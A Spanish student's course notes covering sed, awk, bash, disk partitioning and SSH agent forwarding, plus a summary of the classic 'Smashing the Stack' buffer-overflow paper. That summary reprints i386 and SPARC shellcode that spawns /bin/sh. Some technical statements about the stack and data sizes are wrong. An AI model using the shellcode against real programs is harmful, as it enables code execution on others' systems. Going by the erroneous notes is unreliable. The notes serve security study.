Sed Tutorial

SED 

opera líea por línea por lo que no hay restricciones en cuanto al tamaño de los archivos.

no importa si el archivo tiene muchas líneas, solamente se ocupará en un momento el espacio en memoria, tiene ventajas.

Es un editor no interactivo, ya que funciona direfente.

Sed permite editar un archivo en modo linea de comandos sin interactuar con el archivo, le daremos comandos y al final nos regresará los resultados del archivo.

no modifica al archivo si no modifica a lo que se encuentra en memoria y lo mandará a la salida estándar.


La entrada estándar, puede ser un archivo, puede ser una línea, donde se tendrán n líneas.

habrá una entrada de memoria que tendrá una entrada de patrones.

habrá una entrada de memoria que se llamará espacio de retención, que será un tipo de buffer de almcenamiento.

se podrá tomar cualquier linea de la entrada estándar y se copiará al espacio de patrones, y después se editará la línea y se enviará a la entrada estándar, puede ser un archivo o la pantalla.

Si se tendrá que lmacenar el resultado para después aplicarlo se usará el espacio de retención, y después se podrá enviar al espacio de patrones.

Sed por omisión imprime todas las líneas.

independientemente si se les aplico o no un cambio.

sed -n -> que indica no impresión, indicando lo que imprimirá solamente.

sed -e -> permite dar varios comandos a ejecutar.

sed -f .> podemos darle un archivo con comandos .

VI -> es un editor orientado a pantalla, no es un editor orientado a línea.

ed y vi son los dos editores principales en UNIX.

ed es un editor orientado a línea.

exíste una version mejorada llamada -> ex

el editor vi, tiene un modo de operación que se conoce -ex

y todos los comandos que se pueden ejecutar en vi, son comandos basados en ed, que es un editor orientado a línea.

sed es un editor de flujo, pero muchos de sus comandos funcionan muy parecido a los editores orientados a línea de UNIX.

Ej:

en vi, se pueden hacer sustituciones de una palabra por otra palabra, esas sustituciones son del editor ex, y esas sustituciones las toma sed, para trabajar.


Instrucciones de sed

sintáxis -> [dirección1 [, dirección2]] función [argumentos]

si se aplica a dirección1, la función aplica a todas las líenas que cumplan la condición.

ej:

vi frutas

si queremos borra de la linea 1,3d

el 1 es la dirección 1 , dirección2, función

 Hay funciones que no necesitan argumentos, hay funciones que si necesitan argumentos.

Si no se especifican direcciones, en caso de sed, que trabaja línea por línea, la función aplica a todas las líneas de entrada.

en el caso de vi, solamente aplica a la línea donde se encuentra el prompt

es más poderoso que vi, aunque vi, permite expresiones regulares.

¿Qué puede ser una dirección?

puede ser un número decimal, que indica la posición exacta de la línea.
$  -> implica la última línea del archivo

Ej:
:.,$d    -> que implica desde donde te encuentras actualmente borra, hasta el final.

/regexp/  -> asi se escriben las expresiones regulares en sed.

Ej:

sed -n '/^man/,/^na/p'

manzana
uva
naranja
sandia
fresa
kiwi
guayaba
hola

/^man/ -> es la directiva1,  la directiva2 es /^na/ , después la función, siendo que la función común es imprimir.

la cual imprimira hasta naranja.

siendo el archivo original:


manzana
uva
naranja
sandía
fresa
kiwi
guayaba
hola

Ej2: sed -n '4,$p' frutas

imprimira desde la línea 4 hasta el final

Consideraciones

si antes de la letra de la función se pone un signo de admiración !, se aplica a todas las 
líneas que no cumplan con las direcciones en (csh\!)


exísten delimitadoras  con @/usr/local/bin/perl@ para claridad en los comandos.

Ej:

sed -n '/col/=' frutas


sed -n '/^man/='  -> que nos imprimirá en que linea se encuentra la palabra que comienza en man


funciones para edición
en Unix sólo aceptan dirección1

a\ -> agregar
i\ -> insertar
c\ -> cambiar


le podemos poner al archivo las palabras en donde queramos y lo que querramos agregar mediante los comandos anteriores con sed.


Ej:

sed '/^man/a\ <- enter="" p="">> mango' frutas (osea al archivo)

y agrregará a la palabra que comienza con man, mango

insertar es antes y añadir es después.

cambiar -> sustituye toda la línea.

el siguiente comando es borrar

sed '1d' frutas

que borra la primera línea

sed '1,3d' frutas
borra desde la línea 1 hasta la 3


sed '$d' frutas  -> borra la última línea, del archivo

s [sustituir] [dirección1[,dirección2]]s/patrón/reemplazo/banderas


sed 's/ipn/IPN/g' datos

traducirá el primero por el segundo para todo el archivo, si se le quita

sed 's/ipn/IPN/' datos -> solamente lo hará para la primera ocurrencia.

para poder reemplazar es con:

sed 's@/usr/local/bin/hello@/etc/hola@' archivo

con lo anterior cambiamos por linea de comandos sin modificar al archivo y lo traducimos.


Se puede utilizar la diagonal invertida

sed 's/:/\
>/2' columnas

el archivo original fue:
1:2:3:4
el archivo después de hacer lo anterior es:
1:2
3:4
con lo anterior coloca como columnas a partir del segundo campo


Nota: para AWK, habrán ejemplos en el moodle.

crearemos un archivo de texto, y con la siguiente búsqueda

sed 's/Seccion [1-9]\.[1-9]/(&)/' texto.txt

donde encuentra sección1.1  & vale seccion1.1, siendo el valor poniendolo en amperstand,

Ejemplo 2:

vamos a delimitar, abriendo un paréntesis para la primera delimitación

/(.*\):\(.*\)/\2:\1/

primero:segundo

siendo la primer ocurrencia -> primero, y la segunda ocurrencia -> segundo

lo que hará será sustituir  inversamente lo que tenga el archivo
\2:\1/

por lo que se necesita delimitar muy bien el archivo, lo que se quiere es simplificar de una manera sencila el intercambio del contenido de los archivo, también funciona para vi.

Etiquetas

:etiqueta -> pone un marcador en el script de sed

t[etiqueta] -> Si el resultado de una sustictución es exitoso, salta a la línea marcada con etiqueta o en su defecto al final del script.

T[etiqueta]

Ej:

calificación.txt


podemos crear archivos con extensión.sed :

ejemplo.sed

que lo que hará

lo primero que hace es tomar la primera línea de entrada:

Nombre=

a partir de [dir1,[dir2]]funcion, pero lo que tenemos aquí son funciones agrupadas.
en vez de tener una sola funcion, tendremos un conjunto de instrucciones agrupadas para la directiva Nombre.

Coincide la primera línea con la directiva Nombre?, si entonces se sustituye el patron por si mismo.

el amperstand se simplifica con la coincidencia, no haciendo ningún cambio.

despues .. fue la sustitución exitosa?, entonces fue exitosa...despues viene t, que implica ir a la etiqueta.

temrminando el archivo, pero el archivo de entrada no ha terminado, tomando la siguiente linea del archivo de entrada.

entrando con Nombre, despues se verifica, si corresponde con el primer patrón, despues viene t, para verificar, pero como no lo fue se va a s/Nombre=.* Ex=.^/& Tarea=00, que sería la segunda línea.

t pregunta de nuevo si fue exitoso, si si lo fue se va hasta el final del archivo.

& -> implica que coicida con si mismo la ocurrencia.

awk y sed funcionna muy parecido.

resumiendo, para cada línea evaluamos un lenguaje, siguiendo un flujo de arriba hacia abajo, pero si controlamos las etiquetas, podemos controlar el flujo del programa, siendo un if escondido.

Para ejecutarlo:

sed -f ejemplo.sed calificacion.txt

mandandole el archivo.sed el archivo que procesaremos.

con el segundo ejemplo, en vez de irse al final del archivo con t, se va a la etiqueta hola

tr "\t" "#" < lista | sed 's/\(.*\)#\(.*\)/\2\(\1\)/'
tr - > cambia o elimina
lo que hace es voltear el archivo, añadimos los paréntesis.

o más bien voltear los campos y colocar entre paréntesis los nombres

ctrl M, indica que hay un caracter que esta haciendo ruido,

vi
lo podemos abrir :$s/^v^M//g
capturando el ctrl M  y sustituirlo por nada, para todas las líneas



Uso del espacio de retención

Ejemplo3:

el gato es bonito
el perro es bello


copia el contenido del espacio de patrones al espacio de retención
h reemplaza coel gato es bonito

coincide la primera linea con la expre regular e la primera, ??
si coincide .. comenzando con h
h dice -> copiaras todo lo que esta en el espacio de patrones al espacio de retencion, teniendo lo mismo en el espacio de patrones con el espacio de retencion.

con s/ .* ... -> se sustituye, cualquier cosa, seguido de espacio, seguido de una subcadena es espacio loque sea


con la tercera linea...
en el espacio de patrones verfifica cualquier cosa hasta El, siendo la subcadena 2, seguido de lo que sea, es... bonito, es la subcadena 3 y se sustituirá por \2 GATO \3

quedando:
EL GATO es bonito

Nota: todo lo que se hace se opera en el espacio de patrones, solamente cuando agregamos o añadimos se utiliza el espacio de retención.

Hay ejemplos, que utiliza códigos en html, que quitaremos los tags o etiquetas, obteniendo la información que se muestra por el browsers.

y todo se ocupa con el espacio de patrones y el espacio de retención

Martes 24/9/13

Hola a todos, éstos dos días del nuevo curso que nos han estado impartiendo en DGTIC, han sido hasta cierto punto retroactivos encuanto al conocimiento, ya que hemos estado viendo las características de las diferentes redes que exísten.

Nota personal: el examen es creo en martes de la semana que viene.

Hoy vimos VLSM, y también algunos conceptos relacionados con SOC, NOC y TAC, también algunos ataques de malware como Pharming

Las tareas que han dejado han sido respecto a problemas de subnetting, como cuantas direcciones se necesitan para tantos host.

El dia de mañana haremos el enrutamiento estático y dinámico con algunos protocolos de enrutamiento de Cisco, de hecho dejó tarea de ello, que llevaramos mañana, o que lo iban a subir, pero hasta ahorita no he visto nada en el modle, por ende solamente haré la tarea en latex que dejaron, aunqeu actualmente se esta tardando como 52 minutos la descarga del maldito MacTex....

creo que si lo haré a mano.

La parte genial del curso es que me aclaró una duda respecto a como utilizar los GW y los broadcast.

ya que yo tenía una conepción diferente de ello

Las otras tareas que tengo para la semana, son la de alrato que es hacer una referencia (Olguín), hacer un programa en assembler para arqui de compus.... terminar el algoritmo del círculo, que espero ahoritra me salga en python.... también el viernes que tengo examen de criptografía y tengo los 2 exámenes de certificación de cisco... por ende si tengo mucha tarea..
pero bueno, haré aqui la de SOC, TAC y NOC.

SOC.- según ésta referencia http://www.computerns.com/network-security, menciona que un SOC es un centro de monitoreo de actividades de seguridad en la red de un cliente, que estudia críticamente diferentes anomalías detectadas, identificadas .

Los Centro de Operaciones de Seguridad se enfocan en la seguridad y la estabilidad.



NOC.- El propósito de los NOC, según ésta referencia http://www.csoonline.com/article/216884/efficiency-through-noc-soc-convergence, son los que se encargan de asegurar, "power, ping and pipe", los cuales son medidos por los SLA's (Service Level Agreements),

Nota: los NOC y SOC, tienden a compartir operaciones estructurales similares, pero difieren en que el NOC, necesita personal que sea más expertos en redes, que en SOC, que necsita más expertos en seguridad de la información.


Pharming -> según éste link :  http://www.techterms.com/definition/pharming

SCADA -> http://www.engineersgarage.com/articles/scada-systems

The first push was given by the 8 and 16 bit computers called minicomputers. The second was the microprocessors, several years later. Computers offered flexibility in programming and communicating with field data acquisition units that was previously being done by hard wired equipments. This was the dawn of SCADA. Many organizations have been involved with the standardization of SCADA systems since then, including the IEEE, American National Standards Institute, Electric Power Research Institute, International Electrotechnical Commission, DNP3 Users group etc.

Elements of SCADA Systems

SCADA monitors, controls and alarms the plant and/or regional facilities’ operating systems from a centralized location. It includes the communication of information between a SCADA central host computer, many scattered units and/or Programmable Logic Controllers. For example, in a water filtration plant, the remote units measure the pressure in pipes and report the readings to the central computer located somewhere in the control tower. In case of any anomaly, the SCADA system would alert the main station of the problem apprising it of other details like the severity of the anomaly and measurement values in an organized fashion. The systems may vary from simple, like temperature reporting in a building to complex like monitoring the traffic on many traffic lights. The system consists of the following elements:

 

1.      SCADA Master Station Computer Systems: It is the repository of the real-time or near real-time reported data collected from the remote terminal units connected to it. It is generally standard computer hardware equipment and very few SCADA system suppliers have ventured out to make their own computer equipment. A few companies like IBM and CDC did try making hardware for it, but the effort was short lived and commercial off-the-shelf computer products continue to be the main stay. The back end SCADA software must be able to repeatedly poll the RTUs for data values, should have software for their retrieval, storage and processing. The processing may include unit conversion, cataloguing into tables etc.

 

2.      Human-Machine Interface: This is the eye candy part on the host station. The values that have been stored in the host computers are presented to the human operator in an understandable and comprehensible form using HMIs. These may provide trending, diagnostic or management information and detailed schematics and animations representing the current states of the machines under its control. Pictorial representation being more understandable to humans is the preferred form in SCADA HMIs.

 

 UTM

ttp://www.webopedia.com/TERM/U/Unified_Threat_Management.html

SCADA

Jueves 19/9/13

despues de crear el nuevo disco:

particionamos el nuevo disco


con fdisk /dev/sdb

luego m o n para la nueva

luego enter etc.. creando una nueva tabla de parciciones, que se ocupe todo el disco.

verificando con p escribimos los cambios con w


despues creamos un sistema de archivos

ls -l /dev/sd*


mkfs.ext3 /dev/sdb1

una vez que se hace creamos la partición.


para saber que tenemos montado es mount

simulando que nuuestro disco se esta llenando:

df -h

du  nos da los detalles recursivamente.

du -s /*   con ello sacamos el tamaño de todo loque esta en raíz,

du -s /* 2>/dev/null | sort -n     mandamos todos los errores a null y ordenamos numéricamente el contenido de todo el disco.


Nota: el redireccionamiento esta en el primer comando, porque el primer comando manda los archivos de errores, los archivos en proc son cosas en memoria, por ende puede haber muchos errores ahi..

por eso es que se hace el redireccionamiento en el primer comando.
- si lo hacemos sin el sort, lo hará en el orden que él entienda.

/usr/ es el mas grande, por eso lo ampliaremos.

tiene muchos binarios, pero moveremos su contenido a la nueva partición.

1) generamos una particion que tenga todo lo quetenga usr y lo pongamos en un nuevo punto de montaje, para que el sistema use usr de manera transparente.

montando en var a usr.

1) copiando todo lo que esta en /usr a la nueva particion.

2) montamos la nueva particion y luego copiamos lo de usr a mount.

mount /dev/sdb1 /mnt

pero sin hacer cp , ya que copy trabaja a nivel humano, porque cuando copia un archivo, copia cualquier tipo de archivo.

Ej: las ligas simbólicas.

como se siguen las ligas simbólicas se copiaran todas las cosas queestarán en ram con el simple copy, por ende lo que se utiliza es cpio

es un empaquetador, pero lo que hace son copias a un nivel bajo, pero también es capaz de bajarse en las capas y evitar ciertos errores, pero lo ayudaremos con un find para que no copie todo.

find /usr -mount  (lo que hará sera buscar y preguntar si el fs tiene un puto de montaje particular)

find /usr -mount -print0  (con print, nos manda el nombre completo en cuanto a ruta, pero de manera predeterminada agrega un salto de linea para cada resultado, pero no queremos eso porque cpio entendera cada salto de linea como parámetro, pero en vez del salto con 0 mandará un null caracter).

find /usr -mount -print0 | cpio -0dump /mnt

esta haciendo una copia masiva al directorio

si queremos monitorear la copia de los archivos pero en vez de estar pegado

watch -n 0 'ps -fea | grep cpio'

antes se utilizaba lilo,

grub1 yh la beta podian configurar todo en un archivo, ahora grub2 funciona como funcionaba lilo, que tiene scripts que en conjunto tieene sus configuraciones que genera el archivo maestro que no podemos modificar.

ls -l /boot/grub/grub.cfg

hay un directorio en /etc que se llama grub.d, que tiene scripts del grub, tiene el script de linux que lista los sistemas operativos que tenemos instalados.

listando los diferentes sistemas instalados.

debian fue uno de los primeros que usaron grub2, en linux estan los OS listados.

son scripts de bash, que tiene una seccion en la qcual se define el objeto lista, que tiene los archivos de vmlinuz

siendo un kernel monolitico que en escencia son vbinarios que tienen todo, montandose en RAM. bla bla.

grub por cada kernel nos da 2, uno a prueba de fallo s y el otro normal.

hay otro archivo que esta en /etc, que se llama grub, en ese archivo trae las opciones mas generales de grub.
Ej: podemos sacar una consola del propio menu de booteo, antes de iniciar el sistema.

grub2 usa un archivo grub que esta en /etc/grub.d /etc/default grub, un archivo que esta en ... las imagenes.
podemos generar el grub.conf con una herramienta.
si tenemos que usar un grub anterior al 2 se tiene que utilizar uno que se llama menu.lst

nos mando script de inodos, mando el libro de fs forensic análisis

despues de haber copiado los binarios o lo que contenia /usr, desmontamos.

despues hacemos el cambio el cambio,

1) modificando fstab agregando éste punto de montaje, aunque puede haber errores el reiniciar etc...etc...
resumiendo se haría mierda el sistema.

2) puede hacerse sin reiniciar, modificando fstab, pero sin reiniciar mandando llamar fstab.

puede verse los identificadores con ls -l /dev/disk/by-uuid/

viendo el uuid respectivo a la particion


aunque podemos agregar la particion /dev/sdb1 /usr

que le montariamos, pero tenemos que hacer, ya que se acabo de hacer la copia, y despues de que se modifica fstab, quitamos el dirrectorio que teniamos y montamos el nuevo.

Salto mortal:

which mv

which mount

which mkdir

afortunadamente estan en /usr si no deberiamos de hacer las referencias a esos comandos de la particion.

movemos /usr/ a /usr_  siendo el temporal.

creando el directorio /usr con los permisos propietarios, remontamos con

mount -a que remontia dtodo lo que fstab tenga. (actualiza)

lvm o ldm para copiar particiones de manera de espejo.


BASH

en el script getinode

#!/bin/bash

define al interprete que permite cargar el script, recordando el path con get inode ./getinode


a las variables se les pueen meter cadenas, numeros etc.

$0 las comillas inversan  son de ejecuución.
en medio de una cadena se puede llamar a ejecución con las comillas inversas.

echo "uso : `basename $0` "
basename trae todo excepto el nombre que trae, osea solamente el comando.

$1 traera el primer argumento, que escupe el inodo de un archivo.

dentro de la prorgamación se puede meter a una variable, con todo y pipes que se usan en terminal.

las variables se pueden temer en constructos de ejecución y expandirlas en cadenas, se pueden expandir en comillas etc etc.

se pueden comparar salidas de comandos compuestos con valores numéricos.

Ej:
inodespergroup es una variable que se crea a partir del resultado de un comando,

porqeu en abstracto será la variable y a su salida un awk.

nota en la variable blockfile se puede concatenar la salida de un comando con otro.

pff


`date +"%Y%m%d_%H%M"p`


AWK 

lo hizo alguien que programabaen C que procesara cadenas un poco más humanas.

sintaxis

awk 'archivo a proocesar' .

es como grep, pero lo que esta dentro de las comillas son programas, que si se desglosan tienen más orden.


poner en el archivo passwd

passwd es un archivo de sinteaxis física,

si quisieramos poner todos los usuarios con privilegios sería

awk -F ":" '{print $3}' /etc/passwd

la idea es: tienes un flujo que se divide en lineas, y cada linea tiene campos por tanto hay separadores de campos.

pero se pueden dfeeinir separadores de líneas arbitrarios.

si decimos que si se consideren separadores específicos, podemos definir separadores compuestos .

$0  implica la linea completa

a partir de  ahi será cada campo.

si se dijera imprime $0 imprimirá cada linea

$0 ~ /Inode .../
{
   
}
lo que quiere decir-> si la linea tiene algo con estas caracteristicas vas a hacer lo que esta dentro.
de los corchetes.

si tu linea tiene Inode per group has lo que esta dentro de las llaves.

Martes 17/9/13

Recapitulación de la tarea Smashing the Stack.


tenemos un apuntador fijo, que se mueve respecto a que tantas cosas le hemos metido al stack.

si le metemos un int, sube un byte, si le metemos un carácter, sube 10 bytes.

en teoría no podemos movernos hasta abajo del stack.

Bufferoverflow lo que hace es aprovecharse de la estructura del stack.

el programa siguiente

void function(int a, int b, int c){
 char buffer1[15];
char buffer2[10];
}

void main(){
 function(1,2,3);
}

la funcion si no esta definida en bibliotecas de C, se va para arriba.

yendose a la pila, como se necesita regresar al main, se guarda una foto con el IP

instruction pointer -> tiene que regresar al main.

la funcion que dice que se tiene que regresar el instruction pointer es return pointer.

return pointer -> a donde tenemos que regresar para seguir con el procesamiento.

bottom of stack -> se tiene que ver de cabeza, porque las ddirecciones de memoria crecen a la derecha, pero en realidad crecen en direccion opuesta a como crece el stack.

al stack se le agregan primero las 3 variables que son parámetros de la funcion, luego return, luego sfp.


como las direcciones crecen a la derecha,
buffer2      buffer1
[           ] [          ]

si queremos escribirles a los buffers mas de lo que les cabe, se pasa al segundo buffer, pero si le escribimos más se puede ir al sfp, volandonos el primer byte del sfp, lo que puede pasar:

es que se llena el sfp, ya no encontrando el retorno que debería de encontrar, generando un segmentation fault, o lo que pudiera pasar seria que se sobreescribiera el ret.

sacando un segmentation fault, que es una actividad ilegal sobre un segmento de memoria que no te corresponde.

Podría pasar:

generar un buffer lo suficientemente grande para ejecutar un código que se pueda ejecutar.

PFF!!

modificando la siguiente instrucción del IP, eso es la explotación de buffer overflows para código arbitriario.

podriamos ejecutar un SHELL.

contructors en C

#include

void main(){
 char *name[2];

name[0] = "/bin/sh";
name[1] = NULL;
}

pudieramos ver las instrucciones que nos arroja el ejecutable en asm, pudiendo ver las tablas de código.

un NULL, lo podemos obtener dinámicamente con operaciones dinámicas como XOR's.

en llamadas al sistema, o en ensamblador (libro ABEL).

la explotación de buffer overflows para código arbitrario se ve en CWE-120

cwe.mitre.org

listado de las vulnerabilidades en código, nota: se tienen que saber si nos dedicaremos a desarrollo de software.

TIPS:

Areas:

Infraestructura -> Hardening, mitjitzu alto, para UNIX muy bien, administración, pero no se necesita saber el manejo de memoria. Es más avanzado que un sysadmin. Area sencilla.

Auditoria -> se tiene que saber un poco de todo, se tienen que meter a areas administrativas, aprender cuestiones de relaciones interpersonales, vestirse para el éxito! jaja.

Pentesting  -> aprender como ser curiosos, la mayoria de los pentesters tienen un conocimiento académico y de herramientas, necesitamos dominar la curiosidad, tendríamos que pensar como atacantes, pero con la ética de un hacker ético juaZ!!

auditoria y aplicaciones -> documentación mas que nada, curso en word nivel sayayin jajajajaja

Software o aplicaciones seguras -> necesitan técnicas para desarrollo de código seguro, hay varios libros, uno de ellos es el Writting secure code, ese libro es la biblia del desarrollo de código seguro, la razón por la cual es bueno, es porque microsoft a principios de las interfaces, se dio cuenta que lo que estaban atrasados en el desarrollo. Consultaron con los mejores desarrolladores de código seguro, si queremos estar en microsoft lo que piden es desarrollar código seguro.

y si nos metemos a Web -> es meternos a saber los manejos de servidor web, HTTP, detalle de especificaciones de JavaScript, CSS, que cosas se pueden hacer o no con él.


Incidentes o atención a incidentes -> es un Área muy administrativa, con que sepamos un poco de todo pasa.

Malware -> necesitamos saber codigo a bajo nivel, ensamblador a su máxima expresión, conocer las plataformas de windows o moviles, que son las que son actualmente atacadas, practicar con ensambladores, smashing, debería de ser rápido, no debería de ser un reto.

Pensandolo bien, me gustaría más malware...

Forense -> implica un conocimiento profundo de las plataformas que haremos los análisis forenses, sistemas de archivos (FS) HFFS, UTFS, tablas de particiones .. lo tenemos que saber bien.


todo lo anterior es para administrar los tiemos libres para las Áreas que nos gustan más.

Terminamos el viernes con SSH.

ps -> platicamos sobre ppid, parent process id, que son los identificadores del proceso, éste nos puede llevar a las distintas analogías.

pki -> public key infraestructure, y la privada, para cifrar un medio, haciendo un entorno seguro.


los CSR se pasan por la CA , a través de un proceso, transformando llaves públicas genéricas con sellos de autenticidad, generando CRT's.

la confianza sobre las CA's es implicita

casi siempre se debe de tratar la seguridad por capas, como cebollas o como lechugas, a pesar de que ya hay un esque ma de la capa de transporte no impide que se abarque con otro esquema partes que no se aplican.

Estandar SMTP, checar RFC

Protocolos.

Helo

Mail

RCPT

SEND -> iniciamos la transacción.

el estándar dice, primero mandamos todo y luego entregalo.


RESET(RSET)

VERIFY

SPAN

los estándares son simples, ya que son a lo mucho 15 comandos. Por lo tanto ese stack de comandos, implica varias respuestas.

Reply genericos, (checarlos)

Service reado 220.

mail , podria ser que nos conteste con 421, con 221 etc.

podria ser un 354 porque dice start mail, pero tal vez sería correctamente para Datos.

en que situaciones se definen en los rfc.

www.anta.net/misc/telnet-troubleshooting/smtp.shtml

las negritas es donde marcan los protocolos.

recapitulando, nos metimos al estandar porque usaremos los certificados, porque el viernes nos metimos a smtp.

Es probable que alguno de los estándares estén los comandos que definan autenticación.

algujno de ellos describe lo que esta usando gmail, estamos usando gmail como salida.

por lo tanto podría ser delivery.

estamos viendo actualmente el rfc 4954, que implica los comandos de autenticacion, para intercambiar credenciales.

el intercambiar las contraseñas codificadas en BASE64, es muy vulnerable, pudiendole la seguridad a nivel capa 4, implementandose a partir de la infraestructura pki.


Retomando el ejercicio del viernes, de saltos automáticos:

tenemos un server que se conecta mediante un agente.

copiando la llave publica se podria concetar al server externo.

cifra token con la llave publica, si no tenemos la llave privada correspondiente al token generado no se puede conectar.

Agent -> con él se puede guardar en ram con las credenciales, no se necesita meter el passphrase.


haciendo un forwarding del agent, lo haremos con un archivo de configuración.


(checar un forward del agent)

1)copiamos con ssh-copy-id al primer salto
2)eval `ssh-agent``

copiamos en la ram con ssh-add

(estudiar) jua jua jua, aunque mañana veremos taller basico de awk
ps -fea | grep ssh-agent | awk '{pint $2}' | xargs kill -9

obtenemos todos los procesos, todos los que tengan ssh-agent,  y los matamos jua

eval `ssh-agent`

ssh-add

le damos la contra de la privada, para que la agregue en ram.


jua jua
hacemos login sin contra

podemos copiar el .pub, podemos ver lo que hay en la llave publica
2) lo seleccionamos, y lo copiamos al intermedio, añadimos eso al authorized_keys del ultimo salto.
ya que llegamos al ultimo, creamos un archivo con nuestro nombre, y copiamos juanito a authorized_keys.

uyna vez que esta en safe y despues con el cat al authorized...
podemos conectarnos al primero, enviamos una copuia del agent a safe para que lo tenga:

ssh usr@remoto "ls -l" y automaticamente cierra la sesion

el truco es hacer que se conecte al server que queremos


ssh usr@remoto1 "ssh usr2@remoto2" , en vez de listar lo conectamos.

no funcionará porque quieren asignarnos una pseudo terminal.

ssh -t usr1@server1 "ssh  test@remoto2"

ya se esta haciendo el usuario.

para que se fordwarde el agent es con -tA

ssh -tA usr1@server1 "ssh usr2@remoto2"

se puede argegar con n servidores, solamente se agrega la publica con el otro server y al comando, agregamos con comillas escapadas

" ' ' " para agregar el nuevo server

mañana hablaremos con X, que son gráficos, veremos sistemas de escritorios, pero con X PUM

veremos sesiones remotas con VNC

fundamentos lights de iptables

veremos programación en bash y awk poco, con eso acaba el curso.

Buffer overflow smashing the stack

Como me han dejado de tarea investigar a partir de ésta liga:

http://insecure.org/stf/smashstack.html

aquí anotaré lo que parece más reelevante para mí:

Organización de procesos en memoria

1) Texto
2) Datos
3) Pilas

la region del texto solamente incluye instrucciones de solo lectura.

tratar de escribir en la region de texto de la memoria, estaríamos entrando en una violación de segmento.

la región de datos contiene datos inicializados o no inicializados.

las variables estáticas se alojan en ésta región

La región de datos se aloja en la sección BSS del archivo ejecutable, que indica BSS -> sección de datos no inicializados, que empieza al final de segmentos de datos, que contiene todas las variables estáticas y globales, que son inicializadas en 0 o que no tienen inicialización específica en el código fuente.

Retomando: la sección BSS del archivo ejecutable puede ser modificada en cuanto al tamaño con una llamada de sistema brk(2).

si se sobrepasa el tamaño que viene por defecto del user stack o de la sección bss, se organiza nuevamente para asignarle un espacio en memoria más grande.


Pilas -> Abstracción de tipo de datos, que tiene la disponibilidad de extraer el último elemento agregado a la estructura.

La región Stack

Los tamaños de la pila se ajustan dinámicamente por el kernel en tiempo de compilación.

Un buffer overflow permite cambiar la dirección de memoria que regresa una función, pudiendo cambiar el flujo de ejecucción del programa.

Con la herramienta GDB, podemos modificar la devolución que tienen los programas, ya que utilizamos la pila para poder ver el código en ASM y con él modificar el curso del programa.

GDB "ejecutable"


pero para poder ver las banderas correctamente, en vez de ver las referencias a la biblioteca dinámica de C, utilizamos, la bandera de -static

gcc -o shellcode -ggdb -static shellcode.c

viendo el main, epezamos a ver el flujo de la información más detalladamente.

otra opción:

gcc -o shellcodeasm -g -ggdb shellcodeasm.c

creo que se ve perfectamente que se quiere visualizar.

Nunca pensé ver writting an exploit XP


PFF, hacen un overflow a la biblioteca Xt de Xorg... diablos!!

Nota personal: casi ninguna biblioteca de C hace checking de límites de memoria disponible, como:

strcat(), strcpy(), sprintf(), vsprintf(), éstas operan con cadenas terminadas en nulo.

y no checan para ningún overflow de ninguna cadena recibida


shellcode de diferentes arquitecturas:

i386/Linux
------------------------------------------------------------------------------
        jmp    0x1f
        popl   %esi
        movl   %esi,0x8(%esi)
        xorl   %eax,%eax
 movb   %eax,0x7(%esi)
        movl   %eax,0xc(%esi)
        movb   $0xb,%al
        movl   %esi,%ebx
        leal   0x8(%esi),%ecx
        leal   0xc(%esi),%edx
        int    $0x80
        xorl   %ebx,%ebx
        movl   %ebx,%eax
        inc    %eax
        int    $0x80
        call   -0x24
        .string \"/bin/sh\"
------------------------------------------------------------------------------

SPARC/Solaris
------------------------------------------------------------------------------
        sethi   0xbd89a, %l6
        or      %l6, 0x16e, %l6
        sethi   0xbdcda, %l7
        and     %sp, %sp, %o0
        add     %sp, 8, %o1
        xor     %o2, %o2, %o2
        add     %sp, 16, %sp
        std     %l6, [%sp - 16]
        st      %sp, [%sp - 8]
        st      %g0, [%sp - 4]
        mov     0x3b, %g1
        ta      8
        xor     %o7, %o7, %o0
        mov     1, %g1
        ta      8
------------------------------------------------------------------------------

SPARC/SunOS
------------------------------------------------------------------------------
        sethi   0xbd89a, %l6
        or      %l6, 0x16e, %l6
        sethi   0xbdcda, %l7
        and     %sp, %sp, %o0
        add     %sp, 8, %o1
        xor     %o2, %o2, %o2
        add     %sp, 16, %sp
        std     %l6, [%sp - 16]
        st      %sp, [%sp - 8]
        st      %g0, [%sp - 4]
        mov     0x3b, %g1
 mov -0x1, %l5
        ta      %l5 + 1
        xor     %o7, %o7, %o0
        mov     1, %g1
        ta      %l5 + 1
------------------------------------------------------------------------------

Como resumen, se pueden detectar a partir de números mágicos los programas instalados en la región stack de procesos a partir de su shellcode, escribiendo a partir de ellos instancias de los programas, para poder detectar a partir de parámetros el flujo de la información que los programas nos darán.

pero tenemos que conocer el funcionamiento de algunas bibliotecas de C para poder hacerlo, pansandole información que obtenemos con GDB o con las otras herramientas de visualización para poder tener una conclusión que nos ayude a detectar, hacer o mejorar exploits de buffers overflows.

Clase Viernes

SSH

puee habilitarse varias opciones en sshd_config

como kerberos

podemos agregar nuestras llaves, en el archivo /etc/ssh/sshd_config

ssh-keygen -> generamos nuevas llaves

lo que tenemos que establecer es el algoritmo

para poder cifrar la llave privada, siempre hay que cifrar la llave privada.


authorize_keys, o authorize_keys2

ahi meter el .pub, guardar el archivo y salir. o

ssh-add

ssh-copy-id -i .ssh/id_rsa.pub usr@"servidor-remoto.org"


tratar de no hacer la contraseña al mismo tiempo.

 ssh usr@server.org

se pueden agregar tantas llaves publicas como querramos.

ssh-agent  , con ella guardamos en RAM los tokens de autenticaci{on de contraseñas que querramos conectar.

colocamos ssh-add

ssh-agent saca el PID y el SOCK , que se tendra que usar en la terminal.

define variables de entorno, para escupid variables de PID, haciendo lo anterior, colocamos ssh-add
la contraseña de la llave privada.

1) eval "$(ssh-agent)"
o eval `ssh-agent`
2) ssh-add usr@servidorremoto
3) colocamos contraseña privada
4) entramos directamente.

PUFF!!


 nos podemos conectar a un tercer servidor pasando por el que ya nos conectamos.


para saltar directo al tercer servidor remoto.

lo que se puede hacer es una vez entrando al primero usar la llave publica que esta en authorized keys,
que esta en cat .ssh/authorized_keys

y la .pub es nuestra llave

se puede copiar el archivo remotamente, lo ponemos en home o /usuario.pub, una vez hecho eso,

deberia de funcinoar que la llave.pub, la copiaremos a un usuario en el segundo servidor.

ssh-agent vive por sesion, por eso se tiene que meter cada vez la contraseñam, pero se puede configurar el ssh desde el cliente para que se copie la llave directamente a partir de un archivo de configuracion.

crear un archivo en .ssh llamado config

ssh-config:

Host  primerservidor..
Hostname sergiob.org /nombre corto
ForwardAgent yes -> la línea que permite redirigir al segundo servidor
Port 22
ProxyCommand ssh usr-mio@segundo-server  nc %h %p


al hacer ssh al primer servidor se tiene que redirigir al segundo servidor, con solamente haber hecho la primer conexion.

tarea: la lectura para el martes.

contestar la pregunta de que hacemos aqui, porque en seguridad, que nos gusta que nos llama la atención.

